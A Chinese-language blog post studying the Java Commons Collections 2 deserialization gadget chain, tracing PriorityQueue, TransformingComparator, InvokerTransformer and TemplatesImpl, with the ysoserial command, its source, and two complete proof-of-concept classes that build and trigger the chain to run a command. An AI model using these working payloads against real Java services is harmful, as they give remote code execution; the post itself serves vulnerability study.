Commons Collections 2 调用链

前言:在RMI反序列化的学习路途中,对于RegistryImpl_Skel类的调试无法进行,但是在jdk1.8中该类可以进行调试,但是此时的我还只会cc1链,但是发现在cc1的利用链中是有版本的限制的。在JDK1.8 8u71版本以后,对AnnotationInvocationHandler的readobject进行了改写。导致高版本中利用链无法使用,所以在高版本的漏洞复现的时候就需要学习cc2!

2021.6.3 学完了javassist又回来学习了cc2,看看能不能走通一遍

什么是javassist

javassist是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点,在于简单,而且快速。直接使用 java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。

几个重要的Javassist类对象:

ClassPool:一个基于Hashtable实现的CtClass对象容器,其中键名是类名称,值是表示该类的CtClass对象。

CtClass:CtClass表示类,一个CtClass(编译时类)对象可以处理一个class文件,这些CtClass对象可以从ClassPool获得。

CtMethods:表示类中的方法。

CtFields:表示类中的字段。

参考文章:https://www.cnblogs.com/rickiyang/p/11336268.html

关于javassist我另外写了一篇笔记来进行记录,地址是 https://www.cnblogs.com/zpchcbd/p/14835338.html

反序列化复现

payload还是用ysoserial来进行生成

命令:java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc.exe" > cc2.txt

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("cc2.txt"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

接着通过readObject来进行反序列化触发

命令成功执行

接下来就开始分析学习cc2的调用过程

Commons Collections 2 调用链

ysoserial中的反序列化链

/*
	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
 */

一个反序列化的点,然后就是PriorityQueue位置起手,我们来到PriorityQueue的位置进行观察,这里的话需要先介绍下PriorityQueue这个对象,它是一个队列!

PriorityQueue是一个基于优先级的无界优先级队列。优先级队列的元素按照其自然顺序进行排序,或者根据构造队列时提供的 Comparator 进行排序,具体取决于所使用的构造方法。

PriorityQueue不允许使用 null 元素也不允许插入不可比较的对象(没有实现Comparable接口的对象)。

PriorityQueue队列的头指排序规则最小的元素。如果多个元素都是最小值则随机选一个。

PriorityQueue是一个无界队列,但是初始的容量(实际是一个Object[]),随着不断向优先级队列添加元素,其容量会自动扩容,无需指定容量增加策略的细节。

上面讲到的按照自然排序进行排序,“自然排序”是如何排序的?这里拿PriorityQueue来举个例子观察,代码如下:

    public static void main(String[] args) {
        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(2);
        priorityQueue.add(1);
        System.out.println(priorityQueue.poll());
        System.out.println(priorityQueue.poll());
    }

如下图可以看到,那么排序的话也可以从小到大来进行排序,队列中先获取的是比较小的!

接着开始分析,这里就来到PriorityQueue的反序列化函数readobject的位置,也就是 readObject:783, PriorityQueue

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

先是defaultReadObject,反序列化非静态非瞬态字段,接着通过一个queue变量名的数组存储了两个大小的对象数组,接着就是通过readObject反序列化出一个TemplatesImpl类对象和一个Integer类对象

继续走就是进入了hapify方法中,本来数量size只有两个,右移一位则为1,那么这里就是循环一次

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

接着进入siftDown方法,这里面存在两个方法,一个是siftDownUsingComparator,一个是siftDownComparable,走的分支取决于comparator是否存在

    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

这里是存在的,那么则进入siftDownUsingComparator方法,这里最终来到如下,接着就是看着看一种排序的方法,然后最终会来到compare方法中

    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

对于ysoserial中的poc来说,走的是下面的分支

这里会发现来到了compare方法中,这个compare方法是存在于TransformingComparator这个类中,可以看到它会去调用transform这个方法,到了这里会不会感觉有点熟悉,在CC1链中的InvokerTransform中执行命令的函数也是通过这个方法,那ysoserial它会怎么利用?

    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

接着继续跟,果不其然它真的进到了InvokerTransform方法中去来进行调用执行任意方法的操作,这里传进来类对象是一个叫TemplatesImpl类的对象,为什么要传入这个对象?它通过InvokerTransform是获取了什么东西来进行利用的?

这里可以看到,这个TemplatesImpl类对象它获取的方法是一个无参的newTransformer,这个有什么作用?会不会跟链式调用有关,因为如果没有链式调用的话,目前单单通过InvokerTransform是不能直接命令执行,所以这里面的newTransformer肯定干了一些操作来,继续往下跟

接着通过反射来到了newTransformer的方法中,可以发现它有点像链式调用,这个方法newTransformer又重新实例化了一个TemplatesImpl的类,构造参数有四个

    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

先看该函数的第一个参数,它是通过getTransletInstance(),他这里会再进到defineTransletClasses(),通过名字可以知道应该是通过字节码实例化了对象

获得了如下两个Class

接着进行Class实例化newInstance()来进行命令执行

接着继续回过头来看下这个调用链

/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

我们简单的捋下上面分析的过程

PriorityQueue起手的反序列化(反序列化的起点)

PriorityQueue的构造函数的Comparator需要为TransformingComparator(为的是PriortyQueue中进行排序的时候调用comparator.compare这个函数的时候需要使用,把那个且TransformingComparator这个对象中能让我们进一步的向执行命令的方法靠去)

进一步的向执行命令的方法靠去是什么意思?你可以看下TransformingComparator这个类,能够利用起InvokerTransfomr任意方法调用

所以在TransformingComparator这个对象中的transformer属性我们也需要为InvokerTransformer这个对象

那么在InvokerTransformer调用transform的时候,虽然是任意方法调用,但是如何才能实现命令执行的效果?

这里就用到了一个名为 TransformerImpl 的类,这个类中的newTransformer方法

主要的代码:TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);

因为这个TransformerImpl的newTransformer自己又会去实例化一个TransformerImpl对象,让我们能够想着链式调用的过程去靠

这里最重要的就是第一个参数是,它是一个函数this.getTransletInstance(),这个函数又会调用this.defineTransletClasses() 这个函数

其中defineTransletClasses会通过一个当前对象的_bytecodes属性中存储的字节码来进行实例化Class

那么如果我们控制了这个Class的字节码,那么对应实例化的Class对象就放在当前的_class数组中,最后通过下面的newInstance实例化类对象来实现命令执行

当然这里的字节码我们需要进行构造,来看下在ysoserial是如何构造的,多分析学习,争取以后自己可以!

到来相关的CommonsCollections2利用链中,如下代码所示

public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {

	public Queue<Object> getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);
		// mock method name until armed
		final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

		// create queue with numbers and basic comparator
		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
		// stub data for replacement later
		queue.add(1);
		queue.add(1);

		// switch method called by comparator
		Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

		// switch contents of queue
		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
		queueArray[0] = templates;
		queueArray[1] = 1;

		return queue;
	}

	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections2.class, args);
	}

}

这里关注final Object templates = Gadgets.createTemplatesImpl(command);

因为我们要的TemplatesImpl中的如何构造的字节码就在这其中,这里用到了三个类,

    public static Object createTemplatesImpl ( final String command ) throws Exception {
        if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
            return createTemplatesImpl(
                command,
                Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
                Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
                Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
        }

        return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }

它又调用了一个参数不同的createTemplatesImpl函数,这个才是真正的主角,代码如下

    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

使用javassist修改字节码,javassist是一个使用广泛的修改字节码的库,另外还有两个常用的库是asm和cglib。
上面代码做了几件事:

1、实例化一个org.apache.xalan.xsltc.trax.TemplatesImpl -- templates,其成员_bytecodes可以放置字节码;
2、获取 StubTransletPayload( 继承org.apache.xalan.xsltc.runtime.AbstractTranslet)字节码,并插入命令执行的字节码;
3、通过反射,设置templates私有成员变量的值,其中_bytecodes正是装载插入了执行我们执行命令的StubTransletPayload字节码。

最终_bytecodes属性中的构造通过反编译则显示如下:

如果原生代码表示的话就是如下代码所示

package com.zpchcbd.cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class TestTemplateImpl {

    public static void main(String[] args) throws Exception {
        ClassPool classpool = ClassPool.getDefault();
        classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        //拿到Exploit
        CtClass class_s = classpool.get(Exploit.class.getName());

        //拿到AbstractTranslet
        CtClass class_f = classpool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName());

        //设置父类(过if)
        class_s.setSuperclass(class_f);
        class_s.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"calc\");");

        // 写入本地文件测试
        //class_s.writeFile("./");

        // 获取TemplatesImpl
        Class template_impl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor constructor= template_impl.getConstructor();
        Object temp = constructor.newInstance();

        // 填充TemplatesImpl的_name字段
        Field name = template_impl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(temp,"zpchcbd_test");

        // 填充TemplatesImpl的_bytecodes字段
        Field bytecode = template_impl.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        bytecode.set(temp,new byte[][]{class_s.toBytecode()});


        PriorityQueue priorityQueue = new PriorityQueue();
        priorityQueue.add(1);
        priorityQueue.add(2);

        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        Comparator transformingComparator = new TransformingComparator(newTransformer);

        Field field_queue = PriorityQueue.class.getDeclaredField("queue");
        field_queue.setAccessible(true);
        Object[] innerArr = (Object[]) field_queue.get(priorityQueue);
        innerArr[0] = temp;
        innerArr[1] = temp;

        Field field_comparator = PriorityQueue.class.getDeclaredField("comparator");
        field_comparator.setAccessible(true);
        field_comparator.set(priorityQueue,transformingComparator);

        serialize(priorityQueue);
        unserialize();
    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
        objectInputStream.readObject();
    }
}

最后的问题

1、那么为什么不在TransformingComparator承载ChainedTransformer来进行链式调用呢?同样是可以的!

/*
* 基于数组的形式调用
* */
public class CommonsCollections2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),
        };
        Transformer transformerChain = new
                ChainedTransformer(fakeTransformers);
        Comparator comparator = new
                TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);
        setFieldValue(transformerChain, "iTransformers", transformers);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

2、CC1为什么在commons-collections-4.0用不了?是真的用不了吗?

如下的一句话参考了:https://www.cnblogs.com/nice0e3/p/13860621.html

CC2链中使用的是commons-collections-4.0版本,但是CC1在commons-collections-4.0版本中其实能使用,但是commons-collections-4.0版本删除了lazyMap的decode方法,但是我们其实还是可以使用lazyMap方法来代替(这里面的内容在java安全漫谈中有提及)

3、为什么CC2链中使用commons-collections-4.0,而3.1版本不能去使用?

在中间查阅了一些资料,发现在3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。

3.1.2:

4.0:

4、为什么要先add两个1?

原因在于PriorityQueue#add() 方法会对 PriorityQueue的成员变量size进行加1处理。而PriorityQueue在反序列化的过程中(readObject()->heapify()->siftDown()) 会对这个成员变量size的值进行判断。如果前面没有先两次add(1), 那么size的值就是0,反序列化的时候不会触发利用链。

参考文章:https://y4er.com/post/ysoserial-commonscollections-2/
参考文章:https://xz.aliyun.com/t/1756

tabby反序列化链挖掘

source:java.util.PriorityQueue#readObject
chain:
sink:org.apache.commons.collections4.functors.InvokerTransformer#transform

match (source:Method) where source.NAME="readObject"
match (m1:Method) where m1.NAME="transform" and m1.CLASSNAME="org.apache.commons.collections4.functors.InvokerTransformer"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 7) yield path
where any(n in nodes(path) where n.CLASSNAME="java.util.PriorityQueue")
return * limit 50

posted @ 2021-05-03 23:48  zpchcbd  阅读(333)  评论(0)    收藏  举报